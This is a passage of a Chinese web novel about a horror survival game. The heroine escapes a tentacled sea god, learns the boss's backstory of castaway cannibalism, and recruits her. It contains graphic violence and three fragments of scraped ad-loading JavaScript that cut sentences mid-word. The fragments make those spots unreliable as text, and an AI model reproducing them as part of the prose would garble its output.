为了报答他的救命之恩,美人献身于他。 两人在屋中十分恩爱,每次醒来,他身上都黏黏腻腻的,虽然记不得和美人究竟做了什么,但精神异常满足。 小吉的神志忽然有了些许清明,说起来,美人为什么只在夜里出现呢? 很快,他又闻到了那股美味的肉香。 美人…… “我要回——” “轰隆!” 船身剧烈摇晃,公主一下没拿稳,小吉“哐”一下撞到了墙上。 “回去?”郝荨冷笑。 小吉猛摇头,委委屈屈地闭上了嘴。 几人继续向船尾走去,小吉的房门悄悄打开。 “啧。” 公主像是察觉到了什么,脚步顿了顿。 来到甲板后,地上的粘液明显变多了起来,一不小心就会打滑,几人跑到船尾,第二条触手破开海浪直直向上伸去,几乎要伸到天上一般,瓢泼大雨倾泻而下。 “轰隆隆!” 触手随着雷声向船身挥来,她几乎能看清那巨大吸盘上的每一丝褶皱。 “快跑!!!” 郝荨向前一跃,猛地撞在木箱上,把木箱撞得七零八落,这才勉强躲开了那条触手的袭击。 雨打在脸上几乎睁不开眼,她撑着地坐起,却好像摸到了什么。 郝荨摸了把脸上的雨水,低头望去—— 裂开的箱子里滚出了一条干枯的手,衣衫华贵却破旧,正是早已死去的花豹王子。 刺猬公主将小吉塞进救生艇,回头却发现另一个玩家不见了。 “驼驼?” 她回头走了两步,见羊驼玩家直愣愣盯着箱子瞧,疑惑道:“什么东西?” 郝荨这才反应过来,望向她道:“原来第一个罪人不是灰马,是王子。” 又一道触手升起。 公主:“进去再说。” 两人一起进入救生艇,小艇以匀速往下放,平时看着还挺快,这会只觉得怎么这么慢,小吉不耐烦道:“八爪那家人真是不识好歹!死都死了还要来报复!烦不烦!” 郝荨找到操作口打开电源,救生艇刚刚亮起就听到这话,她一脸震惊,世上怎么会有如此厚颜无耻之人。 就仿佛刚刚瘫软在地道歉的不是他,现在眼见着能逃出生天了又开始大放厥词。 小吉还在叫骂:“劣等人就要有劣等人的样子,身为下位者,把自身供给上位者不觉得荣耀,反而还记恨!真是让他们吃太饱了!等我回到岸上就向国王上书,杀死所有劣等人!养这种人真是浪费我小吉少爷的税收!” 他单腿蹦着来到物资箱前,一屁股坐下,救生艇适时震了一下,小吉没坐稳,摔了个屁股墩。 没塞好的画纸露出一角,小吉摸出一瞧,嫌弃道:“什么东西,也画得太丑了!” 他随手撕碎,还要再骂,小艇中的喇叭却传来了那道熟悉的机械音: 【第三轮审判开启。】 【本轮的“罪人”是——】 郝荨一怔,没有投票环节了? 【所有人。】 声音落下,小艇“哐当”一下卡在了半空。 22. 鱼人节盛宴11 “怎么回——” “噗呲!!!” 一条纤细的黑色触手从救生艇缝隙处刺入,准确无误地扎中了小吉的心脏。 他的表情从愤怒转为恐惧,接着迅速灰败。 触手“唰”地收回,不可一世的小吉少爷缓缓倒了下去。 【赐福已完成。】 郝荨:…… 早知道就不费劲带他了! 救生艇外传来几声清脆的拍打声,似乎有很多条触手从海里伸出,想要把他们拉入漩涡之中,吊索发出了令人牙痒的“嘎吱”声。 一只拿着匕首的手递到她眼前: “船里你自己处理,我去解决外面的。” 郝荨很想说她不行,但这种时候,不行也得行了! 她咬牙点头:“你自己小心。” 救生艇的门一打开,外面飞舞着的触手就仿佛长眼睛一般想要往里刺入,被刺猬公主挥刀砍断。 这艘小艇被四面八方的触手拽得摇摇欲坠,在空中左右摇摆,光站稳就已经要用尽力气,郝荨费劲九牛二虎之力把小吉的尸体堆到缝隙前挡住,握紧匕首守在门口。 但不知道是触手实在太多还是怎么,公主久久不归,郝荨脚下已经落了几根断裂的触手,她喘着气,将触手踢到一边,粘稠的黑色液体站满了她的裙角。 这样不行。 刺猬公主是玩家,是玩家就会有力竭的时候,何况—— “刺啦——” 吊索也要撑不住了! 郝荨透过门缝望去,游轮来到漩涡边缘,一旦进入漩涡就再也无法逃离被卷入海底的命运,来不及了,只能搏一搏! “公主!回来了!” 几秒后,刺猬公主翻身回到门口。 郝荨探出身体:“赌一下?” “赌什么?” 郝荨咧开嘴露出一个大大的笑容,她指向吊索:“赌这个。” 说完,匕首用力一划,吊索应声而断。 刺猬公主眼疾手快地一手拽住救生艇门,一手把估错力道差点冲出去的郝荨塞回救生艇,反脚带上门,一套动作行云流水。 也幸好她反应及时,因为下一秒,小艇就落入了海里。 跌入海中的冲击力和汹涌的大浪撞得她们头昏眼花,郝荨还记着自己要干嘛,她连摔了几跤才把自己给塞进了操作台。 发动机!启动! 刺猬公主有些惊讶:“你会开?” 郝荨紧紧盯着观察镜,把速度拉满:“哦,你放心。” 她用力一转方向盘,救生艇猛地转了一百八十度,扒在艇身上的触手被狠狠甩开。 “我之前做陪玩的时候玩过【跑跑游艇】,是国服前十,很少有人能追得上我!” 公主:…… 【跑跑快艇】是几年前红极一时的赛艇游戏,因难度高画面真实人物可爱而出名,但再怎么出名也不过就是电子游戏而已! 公主已经很久没有过哑口无言的感觉了。 一阵大浪打来,救生艇被推上汹涌浪尖,郝荨越发兴奋,她专注地调整观察,在无数粗细不一的触手中寻找逃生之路。 前方怎么没触手? 她还没反应过来,第三条巨大触手从下方破水而出。 郝荨猛地把方向盘打死,在浪花中呈现了一个极为漂亮的漂移。 “芜湖!” 救生艇在海中左右腾挪,郝荨骄傲回头:“看,我这个国服前十没水分吧——” 她话语顿住,刺猬公主身形扭曲地坐在箱子上,碍事的裙摆已经被她撕开,她单脚踩在小吉身上,固定在洞口以免有触手和海水从缝隙进来,不知道是撞到哪了,额头上鼓起了个大包。 郝荨挤出一个甜甜的笑:“哈哈……” 她迅速回过头,只当做自己什么也没看到。 或许刚开始还有些生涩,但随着时间的增长,第四条、第五条……最后一条触手出现时,郝荨已经熟练到能够用单手打方向盘,剩余的一只手甚至还能假装抽根烟。 从上方看去,波涛汹涌的大海上群魔乱舞,无数触手从海里刺出,挥舞着想要把这艘逃跑的救生艇拉回漩涡,与它的“朋友”游轮作伴,这小艇却仿佛上了油似的,吸盘还未来得及吸上就被远远甩开。 海底黑影愤怒地激起阵阵惊天巨浪,橙色的小艇却在浪的帮助下越推越远,直到来到雷暴边缘。 舱内忽然响起一道女声,语气愤懑: “……你以为这样就能逃脱审判吗?” 哦豁! 郝荨回过身,望向那突兀出现的红裙女孩:“我该怎么称呼你呢?小仓?还是——” “八爪小姐?” 女孩厌恶地皱皱眉头,“别叫这个!” “那就还是叫小仓好了。”郝荨轻松道。 小仓眯起眼:“随你。” 两人对视半晌,谁也不愿意做那个先开口的人。 剩余几人里,小吉已经是具尸体,公主话本就不多,跟没事人似的专心致志擦着她那把长刀。 最终还是小仓先沉不住气: “你什么时候确定是我的?” 郝荨笑笑:“本来是不确定的,可你刚离开那盘葡萄就出现在了我房间门口,还独独我有,其他人都没有,再加上第一轮审判投票时你有意无意地提示大家投给灰马,嗯……还有红裙女孩和小仓从未同时出现在大家眼前等等等等,当然,这些都可以说是巧合而已。” 小仓嘴巴动了动,看起来很想骂人。 郝荨伸出手指指向她的胸口:“下次如果不想被发现的话,怀表还是别带在身上了吧?” 红色裙子的领口处,一条细细的链子若隐若现。 小仓低头望去,眼神霎时冷了下来:“当时我就不该放过你。” 如果不是当时那个女孩叫她姐姐…… 郝荨动了动嘴角,她很想装得轻松一些,但胸口蔓延而上的刺痛感却让她实在没办法维持笑意,她努力深呼吸了一口气:“是啊,谢谢你,不过……” “你对我这么好,是因为我的心脏吗——” “那不是你的心脏!是我姐姐的!” 小仓大声道,一道惊雷凭空劈在救生艇上。 郝荨没有在意,她早该猜到的,每当红裙女孩出现,她的心脏都会隐隐作痛,明明是没吃过的葡萄类型脑袋里却会自动浮现它的味道,自小孱弱的贵族小姐身体却在某场手术后瞬间大好,这一切的一切都说明了这具身份的特殊之处。 “她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当年明明还有救,如果不是你…如果不是你需要她的心脏,她本来还可以活下去……” 小仓喃喃道,她的发丝无风自动,慢慢飘到半空,细微的震动从郝荨脚底升起,越震越大,直到几乎站不稳。 “所以——” 忽然,一股狂风从郝荨身后越过,直扑向小仓面门,裙摆和头发在风中扑簌着,身形逐渐变得模糊,闪电闪过,刺目的光晕照在小仓身上,郝荨下意识闭上眼—— “你们都该死!!!” “轰隆隆!” 小女孩的身影开始拉长晃动,像是某种液体一般进行生长、重塑……又是一道闪电。 等郝荨睁开双眼时,世界已经换了副模样。 原本破旧干净的橙色救生艇变得残破不堪,地面坑坑洼洼,到处是凝固的深色液体痕迹,本应密闭的内壁被人用利器暴力破开,四面八方全是洞,有些洞口处拿了各种各样的残片挡住,然后又被锤开,直到露出了能让人轻松通过的巨大洞口。 雷雨被咆哮的海风和浪花顺着那些洞口卷入艇中,经过中央时却自动绕开,那里站着一个很年轻的女性,看着二十出头的模样,长相可爱,有一对有些显眼的门牙,她微微垂着头,站在一团深色痕迹里,仔细看去还能看到一些眼熟的字符。 是书上那个召唤八爪神明的法阵。 郝荨眼神一凝,角落里躺着一个身穿大LOGO浮夸衬衫的陌生男人,男人个子很矮,身形精瘦,脸色灰暗地倒在血泊中,腿部中弹,胸口被贯穿,再加上这熟悉的衣服和身形——是小吉! “唉,”小仓无奈摇头,“我本来给他选了个更好的死法,可惜他没回房间……也是,他怎么会回去呢?” 郝荨一顿,她又看向刺猬公主,公主个子不高,和她想得不一样,公主的五官略带一点中性化,不过也很漂亮。 原来,这就是大家真实的模样。 这个世界里根本没有什么动物贵族和劣等人类之分—— 他们本就是同类。 年轻女性——也就是游戏的最终BOSS小仓抬起头,发出一声冷笑: “还记得这里吗?” 她捡起地上的纸片,这纸片曾经属于一幅画,而现在,这幅画已经被小吉撕成了几片。 “我们本来是最幸福的一家,爸爸虽然胆子小话又多,但他海钓很厉害,我和姐姐从小就对水感兴趣,妈妈虽然觉得有点危险,可因为我和姐姐很期待,最终她还是同意了。一开始我们在海上钓鱼、玩水,每天都很开心,直到——雷暴来临。” 小仓脸色沉下,她仿佛又回到了十五年前的那个夜晚。 她们本来睡得好好的,半夜却忽然惊醒,沉闷的空气让人喘不过气,天空灰暗,像是一块巨大的布,把天光遮笼,姐姐抱着书站在窗前,灰色的布上似乎有只巨大的八爪鱼在上面游动,她们都看出神了。 再然后,就是短暂的记忆碎片,惊恐的爸爸妈妈,如山一样高的浪,船破了的尖叫声,被一把抱起的她们,慌乱的其他人……和橙色的救生艇,等记忆回笼时,她们已经挤在救生艇中瑟瑟发抖。 “爸爸身上破了好几处,妈妈抖得要命,还要清点船上的备用物资给爸爸包扎,那场雷暴实在是持续太久、太久了……” 23. 鱼人节盛宴12 这艘救生艇本就不大,存的物资也少,好在妈妈开头就发现了这件事,严格管控每个人的饮食,爸爸也拿仅有的素材做了个小小的吊钩,几乎每天都能钓上一两条小鱼,谁也不会想到那么点物资他们竟然能撑五天,哪怕再撑上四五天应该问题也不大,十天,救援队怎么也应该发现他们了。 一家人互相打着气,虽然燃料已经用尽,他们也很虚弱,但大家的精神状态都不错,可谁也没想到……他们竟然会遇到一群披着人皮的野兽。 “你们运气很差,差到乘坐的游艇被直接打翻,物资泡发的泡发,丢失的丢失,你们运气也很好,”小仓语气淡淡,手却慢慢攥紧了,“……遇见了善良的八爪一家。” 爸爸妈妈本来不想分给他们,但七个年纪不大的男孩女孩们生死不知地趴在翻上来的船底,实在太过可怜,他们便勉强匀出了两个罐头,又给了一条刚钓上来的小鱼。 吃了点东西后,少年们终于恢复了些活力,他们也想试着自己钓鱼,却怎么也钓不上来,再然后……就是沉默的一天。 每个人看他们一家的眼神都黑沉沉的,妈妈感觉到了危险,将救生艇直接锁死,少年们先是礼貌地敲门,说是要与他们交换些东西,见他们不开,动作逐渐变得粗暴,开始疯狂砸门,她和姐姐被爸爸妈妈捂住耳朵,可门外的脏话依然会时不时地进入耳朵。 到夜晚时,他们总算安静了,爸爸妈妈松了口气,可他们没想到……这只是暴风雨的前夕。 小仓轻轻念起舞台剧的台词:“八爪先生问他,‘我可以帮你捕鱼,但我可怜的女儿出生后还从未见过光明,你是否愿意用你的眼睛来换取大家饱餐一顿?’年轻人流着泪同意了——我们的爸爸确实很弱小,他用尽全力也没有护住那些东西,还赔上了自己,却只换到了那人的一只眼睛。” 她到现在都记得,那天天亮时爸爸才回到救生艇,他浑身湿漉漉的,但哪怕在海里清洗过也能闻到身上的血腥味,但就这样他还在安慰妈妈,物资没了没关系,他还可以钓鱼养活一家子,就像以前吹牛说得那样。 可爸爸是个骗子,他没有撑到第二个天亮。 迎接死亡前,他还和妈妈吵了一架,两人默契地捂住她和姐姐的耳朵,爸爸说话声音不大,神态却很坚决,妈妈边哭边摇头,但最后还是点了点头,爸爸满意地离开了。 “爸爸走后,妈妈变得很沉默,我和姐姐实在太饿了,不是饿到哭着睡着,就是饿到哭着醒来,浑浑噩噩的,那天晚上——” 说到这里,小仓沉默了几秒,才接着开口: “妈妈拿出了粉色的‘鱼肉’,可爸爸却消失了。” 一股寒气从郝荨心底涌起,又沉沉往下坠去,自从得知游戏与饥饿有关她就一直有不好的猜测,此刻终于尘埃落定,但她心里却丝毫没有答对题的喜悦。 “我和姐姐不敢问爸爸去哪了,妈妈也一天比一天冷酷,我们相安无事了两天,直到第三天……” 他们的物资本来就不多,这群少年们又都是长身体的年纪,饿得很快,他们昨天就已经把食物吃完了,又忍了一天实在忍不下去,企鹅和总裁带着花豹小吉已经来救生艇上翻了两圈,什么也没翻出来,他们啐了一口才离开,走之前花豹盯着母女三人看了许久,妈妈脸色很差,那天晚上,她偷偷来到救生艇另一侧,不知道忙活些什么忙了大半夜,天都要亮时才回到舱内,她叫起姐姐叮嘱了几句话,姐姐眼睛红了。 “八爪夫人问,‘我可以将种植的蔬果给你们,但我可怜的女儿还在饱受病痛的折磨,你是否愿意用你的健康来换取大家不被饿死呢?’年轻人痛苦地同意了——我不知道妈妈和他们谈判了什么,但那天确实过得很平静,我以为救援很快会来,但却怎么也没来,我醒来的时间越来越少,过了或许是一天、或许是两天……也可能更久,总之,当我醒来时,妈妈也不见了。” “大海就像是吃人的猛兽,每隔一段时间,我都会失去一个亲人,终于,轮到了我和姐姐。” 那天她从黑暗中醒来,月光顺着被劈开的洞口照进,正好照在跪在地上画画的姐姐身上,浓浓的血腥味,姐姐用爸爸的鱼钩在身上划了很多口子,画出了一个奇怪的图案,鲜血染红了她白色的睡裙,她声音非常虚弱,见她醒来就把她塞到了备用物资箱重,偷偷说妈妈在船侧藏了一点“鱼肉”,去拿的时候千万不要被那群人发现。 流动的海水中传来了阵阵拍打声,姐姐跪在图案中心,认真而虔诚地祈求着—— 拍打声不见了,洞口外传来了许多道粗重的喘气声。 万能的神明啊,我祈求您…… 带着水渍的脚踩进了狭窄的小艇,挤不进来的人在门口探着头,小吉赤红双眼,鬼吼鬼叫,像是疯了一般要冲向姐姐,却被唯二的两个女孩拉住,他们争吵了什么她已经记不清楚,只记得有个没怎么听过的男声说: “那两个又脏又难吃,不能洗干净吗?害得我肚子疼……” “真以为自己是白天鹅啊,有的吃就不错了!诶,他们生的不是双胞胎吗?还有一个呢?跑了?” 艇内响起了翻找的声音,物资箱被打开一条缝,她和那人对上了视线,那是个漂亮的女孩,神情略有些惊惶,她双手合十拼命祈求对方不要把自己供出去,女孩犹豫了几秒点点头,物资箱再次被合上。 小仓看向坐在箱子上的刺猬公主:“我当时真的以为你会帮我。” 公主垂下眼睛,干巴巴道:“……抱歉。” 小仓抬起手,她不不怪她为什么没有帮自己,也不想去猜对方是不是有什么理由,她可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以选择告发自己,自己当然也可以让她付出代价,这个世界不过就是弱肉强食,仅此而已。 这群野兽占据了属于她们一家的救生艇,他们把姐姐从法阵中拖走,又把自己从物资箱里拽出绑好,她终于知道爸爸妈妈去哪了,很快,姐姐也要去找他们了。 就在他们要下手的瞬间,一阵螺旋桨声轰鸣而来,雷暴消散,海面风平浪静,就连汹涌的浪花也变得温柔起来,这群披着人皮的兽们仿佛一瞬间又找回了人形,他们欢呼着击掌、拥抱,用各种人类的语句安慰彼此…… “我姐姐本来可以不用死的,”海面再起波涛,小仓站直身体,紧紧盯住郝荨,“是你,如果不是你当时发病,执意要换走她的心脏,我本不会走到最后这步!” 少爷小姐们一个个排队往直升机上爬,没人注意到她,她使劲滚进了法阵中,完成了姐姐未完成的祈祷: 万能的神明啊! 求您遮蔽我的行踪,模糊我的容貌,掩盖我的存在…… 我将为您献上最丰盛的祭品,用恶人的灵魂做出最后的审判! 深灰色的浓雾渐起,与十五年前的那天一样,一颗鲜红的巨眼从深海浮现,触手缓慢挤进洞口,吸盘一张一合,轻微的气泡在它身上炸开,发出令人发毛的“哔啵”声。 小仓轻轻摸了摸它,那截触手乖巧地趴在地上,让小仓自然靠坐下。 她撑起脑袋,看着郝荨的眼神就像是猫看老鼠,高高在上,仿佛无论如何都无法逃脱她的掌心。 故事听完,郝荨面色很平静,虽然小仓的背景很凄惨,但她从没有忘记过这是一场危险游戏,而游戏的目标是——【存活,直至最终章。】 最开始她以为关键词在【存活】,现在想来,恐怕后半句才是重点。 她看向公主一直紧握长刀的手,她们并不熟悉,但她一向看人很准,这位玩家能让阿德利陷入绝境,一定很强。 她现在面上没什么表情,手上却紧绷得很,足以想象这只看着很像傻大个的八爪鱼有多厉害。 “那么现在,你要杀我吗?” 小仓弯起唇角:“我找到了更有意思的事。” “砰!” 一个男人被触手从洞口处扔进来,他身形高大健壮,穿着正式的黑色西装,却只有一只眼睛。 阿德利?他没死?! 阿德利喘着粗气爬起,眼神涣散,不知道他经历了什么样的恐惧,竟然能让这个黑暗世界的教父露出这种恐惧神色。 “咳咳……!”他掐住脖子,大声咳了几下,“呕——” 白色的碎骨混合着鲜红的肉块从胃里涌出,喷溅在地。 小仓露出一个恶劣的笑:“你们三个中——只能活一个。” “人类会如何选择呢?” 24. 鱼人节盛宴13(完) 郝荨与阿德利四目相对,刺猬公主不着痕迹地来到阿德利身后。 动手? 郝荨想了想,对她摇了摇头。 “你就不怕我们联合起来杀你?” 小仓神色有些疲倦:“你可以试试。” 一场合格的游戏必然不会只有一种解题方式,按游戏目标的字面意思来说,就是要确保自己活到结局,无论是率先杀死其他角色只剩自己一个,还是联合所有人杀死BOSS应该都可以达成目标——但她的身份并不仅仅是【迷雾游戏】的玩家,还是【迷雾乐园】的园长,对她来说,普通通关还不行,只有完美通关获得副本核心才能算利益最大化。 上一场游戏的核心是蓉蓉那几个孩子的怨念,他们希望可以和妈妈永远在一起,她将他们从游戏里带走,给予了他们工作,解除了他们的怨念达成了他们的愿望,所以才获得了那颗核心,那么这场游戏的污染核心呢? 小仓究竟想要什么? 想要他们自相残杀? 又或是让他们也感受一下她们当年的恐惧? 郝荨轻轻吐了口气:“好吧,我本来不想这么做的。” 小仓皱了皱眉,一股不好的预感油然而生。 郝荨打了个响指:“神使。” 【我在。】 “之前的合约呢?” 【……】 神使产生了一股不好的预感,这家伙不会又要薅羊毛吧? “什么合约?” 小仓心跳得越来越快,仿佛有什么危险的命运即将降临:“你在胡说八道什么?!” 郝荨感受到了神使的犹豫,催促道:‘搞快点!你这么想跟我一起被清零吗?!’ 【收到,为新员工拟定中——】 【拟定成功。】 一沓文件赫然出现在小仓面前。 “招聘合约?!” 郝荨抖了抖合同,“喏,你自己同意的哦,可别说我坑你。” 小仓迅速翻到最后一页,那上面赫然留存了一串声纹。 “我什么时候同意——?”她恍然想起之前说过的话,“这也算?!” 郝荨一把抢过合约,“唉,所以说,我也不想的嘛,但没办法,谁让你威胁我呢?” 她三下五除二在上面签下自己的大名,小仓耳边忽然响起一道机械音: 【欢迎新伙伴“小仓”加入“迷雾乐园”。】 小仓:…… 她不怒反笑:“很久…很久没有人敢这样对我了……” 海水翻涌,巨大的浪花从海底涌现,洞口处的视线瞬间升高,救生艇被冲到了半空中,随后重重落下,如山般高大的八爪鱼头出现在洞外,红色的眼睛一眨不眨地盯着郝荨,恍惚间,进入游戏后的记忆如碎片般重组叠加,将她抽离又压缩进去,画面快速闪现,最终定格在了那只神神叨叨的缅因猫女士身上。 “命运的迷雾已经来到,旧日即将重启,请注意,在最后的选择到来之时,你需要仔细聆听神明——” “铛——” 巨大的钟声响彻天际,她恍然回神,这一次,她终于听清了那位女士的提示。 原来她说的是“神明内心的诉求”。 小仓想要什么呢?如果她是小仓…… 一道黑色身影从她余光中闪出,向小仓冲去—— “砰!” 硝烟弥漫,散开后小仓好端端坐在原地,郝荨举着木仓,眼中绽放开红色的弗兰德斯红之花,而在她们中间,阿德利捂住肚子,缓缓跪倒。 他回过头。 “别看我,我可是良心老板,工伤要赔很多钱的!” 小仓嗤笑:“你以为这样我就会放过你?” “嗨,都是自己人!”郝荨耸耸肩,“分什么你我的!” “你放心,我会帮你达成愿望。” 如果故事的终结无法让人满意,那她就亲手帮她写上圆满的结局。 小仓一怔,少顷,她面带嘲讽:“你不会以为我会感动吧?” “试一试嘛,又不亏。”郝荨拍拍身上的灰,“PlanA不行那就只能实行PlanB了——” 她撩开自己宽大的裙摆,露出属于“驼驼小姐”那条格外纤细的大腿,一个令小仓极其眼熟的小坛子被精致的丝绸缎带牢牢绑在腿侧: “——挟天子以令诸侯。” 小仓脸上的表情再也维持不住,她的嘴巴微微动了几下,发出了几个不太雅观的口型:“……我们还是来说说你的PlanA吧。” 片刻后。 阿德利弓着腰跪倒在小仓身前,刺猬公主默默站住在他身后:“你来我来?” “我来吧。” 郝荨深呼吸一口气,将木仓对准阿德利额角,阿德利青筋绷起,正要暴起却被公主一脚踩下。 阿德利语速飞快:“我们合作,只要她一死那条八爪鱼就会回到深海,我们都会没事!” 见郝荨不为所动,他继续说:“你不杀她是因为她是你的员工?我也可以做你的员工,我的几百亿收入家产都可以给你!你要什么都行!” 郝荨狠狠心动,但她马上又想起这只是一场游戏,几百亿游戏币有什么用! 她扣动扳机。 “等等!别杀我——” “砰!” 一声木仓响过后,阿德利双目圆睁倒在地上。 船上只剩下了她和刺猬公主,公主看了她一会儿,轻声道:“决斗?” 小仓百无聊赖地打了个哈欠。 “不。” 郝荨取出公主先前借给她的匕首:“我给自己选了一个喜欢的结局。” 小仓的哈欠硬生生止住,她双眼睁大,看着郝荨在胸口比划半天也没下得去手:“你在做什么?” 郝荨叹气:“借了人的东西总得还吧?” 刺猬公主微微皱眉:“你……” 她没有明说,但郝荨看得出来,对方在怀疑自己的理智值是否还健康。 郝荨实在下不去手,她目露期盼:“公主,大家都这么熟了,帮个忙不过分吧?” 刺猬公主看了看她,又看了看对方手里的刀。 公主:? 她们什么时候是熟人了? “这样做,你会死在这里。” 郝荨拿着刀想了想,又放了下去。 “后悔了?” 小仓无聊地捡起触手打了个蝴蝶结,一副早就知道的模样,却不想郝荨从裙子里掏出了个眼熟的罐头—— 是她之前给的那罐。 “饿死我了,好歹吃个断头饭吧。” 她撬开罐头:“你们要不要?” 刺猬公主沉默两秒,也拿出了分给自己的那罐。 小仓将蝴蝶结解开,不过又是一个拖时间的玩家罢了,正想着,郝荨三下五除二将罐头吃完,饿到烧心的胃终于有了点满足感。 郝荨自来熟地牵起对方的手,公主下意识要抽出,却被她连刀柄一起按住,生怕对方找错位置一刀不成再来一刀,她叮嘱道:“就这里,别捅偏了!” 公主盯着她看了一会儿:“你确定?” 郝荨笑了起来:“嗯。” “好。” 她沉下脸握紧刀柄,用力捅入了郝荨的胸口。 郝荨实在没忍住,发出一声隐忍的抽气声。 好痛! 刺猬公主的手微微一颤,额角泛起青筋,郝荨握住她的手腕,催促道:“快!” 公主深吸一口气,手腕一转,心脏就此取出—— “砰!” 她动作顿住,不可置信地望向郝荨手中的木仓。 她们此刻分外接近,郝荨几乎不用费力就能对准她的心脏。 “不好意思……双死…双生…才是最完美的终章。” 最后的罪人们同时倒落在地,那颗还在鼓动的心脏在半空被触手截住,温柔地送到小仓怀中。 心脏被小心翼翼地放入坛子,洞口外的天空乌云散去。 第 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 三天,太阳终于升起来了。 温暖的阳光洒在碧蓝的海面上,闪着细碎的光辉,小仓低着头,不知过了多久,她挥挥手,八爪鱼懒洋洋收回触手,猛地拍向海面。 一瞬间海水倒涌,直接灌进了救生艇中—— “咳咳!咳……” 郝荨一把摘下羊驼面具,拼命喘咳:“咳咳……这可比割喉痛多了……” 她痛得脸色发白,细密汗水一滴接一滴的从额头滑下,郝荨抹了把汗,看向四周,漆黑的会议室和她进入游戏前没什么两样。 007的斗篷动了动,鼓掌声从斗篷里传出,声音有些闷: 【恭喜玩家通关D级副本“鱼人节盛宴”】 【副本将在三十分钟后关闭,玩家可选择提前离开,或时间结束自动传送】 郝荨靠在皮椅上休息了几分钟,等疼痛褪去后先点开了员工图鉴: “……咦?” 她猛地起身,干干净净的图鉴里还是只有【蒋红一家】的界面,她的新员工呢?她刚刚签下的那么大一个新员工呢?! ‘神使?怎么回事?bug了?’ 神使幸灾乐祸的声音响起: 【经查询,迷雾游戏并无bug。】 游戏没出bug?那人去哪了?! 她盯住007:“小仓呢?我要带她再离开。” 007沉默了两秒,开口道: 【玩家签署的角色身份特殊,等玩家退出游戏后合约会自动取消。】 SP角色? 这话一出,郝荨瞬间睁大双眼:“搞什么!我辛辛苦苦签下的员工,你说取消就取消?!” 连补偿都没有就想叫她走,做梦! 【经检测,玩家与角色签署合约时是出自自保考虑,并非自愿。】 郝荨拍桌而起:“谁说的!我们早就约好让她来当我的员工了!” “况且,她待在这来来回回只能看那一片海,多无聊啊!你把她叫出来,我要当场给她老板直聘!” 007靠上椅背: 【游戏与外界并无两样。】 “胡扯!”郝荨急了,“外面可比副本里有意思多了,反正她在这只是部门员工,还要受限于你这个看守者,还不如来我们乐园,乐园新开她想做什么就做什么,喜欢给玩家喂饭也可以,刚好我们乐园还缺个搞餐饮的,她来就可以直升餐饮部主观,升职路线清晰可见!” 007这次沉默更久,好半晌才开口: 【一定要带走她吗?哪怕是拿这次的任务奖励换?】 郝荨据理力争:“这怎么能一样呢?!” 但007态度很强硬,要么带走小仓,要么正常通关获得奖励,郝荨掰扯到快要出本都没掰扯成功,只能无奈道:“算了。” 007的斗篷动了动,一扇透着白光的门凭空出现在郝荨身边。 她却看都没看一眼,而是叹了口气:“赔本买卖偶尔也得做一次,资本家也不能言而无信。” “我同意了。” 她站起身,目光直直看向007,坚定道:“我要带走小仓。” 看守者身形僵住,良久,就在郝荨即将被踢出副本时,一双手从斗篷里伸了出来,缓缓摘下兜帽,露出一张年轻女性的脸,二十出头的模样,长相可爱,有着一对有些显眼的门牙,就像是一只柔软的仓鼠。 【恭喜玩家获得特殊员工——小仓】 【员工:小仓】 【身份:八爪神明伴生体,“鱼人节盛宴”BOSS兼看守者。】 【等阶:紫(待升阶)】 【能力1:制造幻境,与水有关时幻境真实度增加100%】 【能力2:(待开发)】 【备注1:该员工领域内,生物会饿得更快】 【备注2:最重要的物品是最爱的姐姐,因为姐姐曾经丢失过,正处于应激状态,每分每秒都要与姐姐在一起,请园长及时为员工进行心理疏导。】 郝荨:…… 25. 神秘数字 迷雾大厅包厢区,巴别塔之歌总部。 昂贵的长绒地毯隐去脚步,一个高大黑影推门而入,四散闲聊的众人声音忽然压低。 他没有在意,径直向包厢最深处走去,直到来到一张金红色的王座旁。 “……副本的封锁还没找到原因,另外,这批新人的资料都整理好了。” 说话的女性推了推眼镜,将文件递上,王座上伸出一只手接过。 手的主人是一个非常特别的女人,她慵懒靠在王座上,明明没个正形,却能让任何人都无法忽视她。 “还没找到?”她快速翻阅资料。 霍格“嗯”了一声,他双手插兜,不自觉地摩挲着那把匕首。 顿了顿,他又开口:“我不知道。” 女人讶异抬头:“哦?” 霍格向上拉了拉面罩:“我遇到了一个羊驼…很像那个人。” * 穿过光门回到现实,郝荨才终于放下心来,总算是又续了一波命。 她看向荒凉的游乐园,破破的,很安心。 一股泡面香味从屋里传来,郝荨大吼一声:“神使!” 黑色的眼球从屋内冲出,副本界和现实世界时间并不对等,她在游戏里待了将近三天,现实世界也不过就是过去了两个多小时罢了。 就两个小时,这个神使居然干掉她半箱泡面! 它竟然还敢放礼花! 【恭喜玩家通关D级副本“鱼人节盛宴”,通关评价:S】 【你获得了:“神明赠礼”x1】 【检测到园长用奖励换取特殊员工签订机会,奖励已收回。】 郝荨:“……唉。” 虽然是她自己做的选择,但总觉得被无良游戏坑了一个亿! “后悔了?”小仓也从光门走了出来。 “你怎么凭空污人清白!”郝荨立刻否认。 【门匙升级成功。】 【乐园等级:LV3(鲜为人知)】 【玩家“园长”获得“鱼人节盛宴”副本核心,专属游乐项目解锁成功。】 【检测到该项目有餐饮功能,配套餐厅将在项目完成后解锁。】 郝荨:! 餐厅!她有餐厅了! “园长姐姐,是不是可以吃好吃的啦!” 蓉蓉乐颠颠跑过来,头顶的小揪揪一晃一晃,她吸了吸口水,满眼亮晶晶,可爱极了。 蒋红一家签署成游乐园员工后就相当于有了合法身份,除了只能在游乐园内使用的特殊能力外,他们和普通人类没什么两样,自然也需要吃饭睡觉,或许是在游戏里没吃过什么好东西,蓉蓉和哥哥们对好吃的特别感兴趣。 可不等郝荨开口,毛球突然眼睛冒出红光大声喊道: 【警告!警告!园区内缺少必要设施,该游乐项目无法开展,请园长尽快解决!】 郝荨一愣,连忙点开项目界面,底部有一串小字被标注了红色——【此项目只可放置于船上。】 郝荨陷入思索,那么问题来了,她要去哪给小仓找条船? “……这就是你给我安排的办公室?” “是啊。” 郝荨叉着腰,喘了口气,迷雾乐园依山傍水,正好坐落在山海市最大的内陆湖边上,风景极为秀美。 湖面微风吹过,拂起她的发丝。 半晌没听见小仓说话,郝荨疑惑道:“怎么了?这不是船吗?” “你说这是船?!” 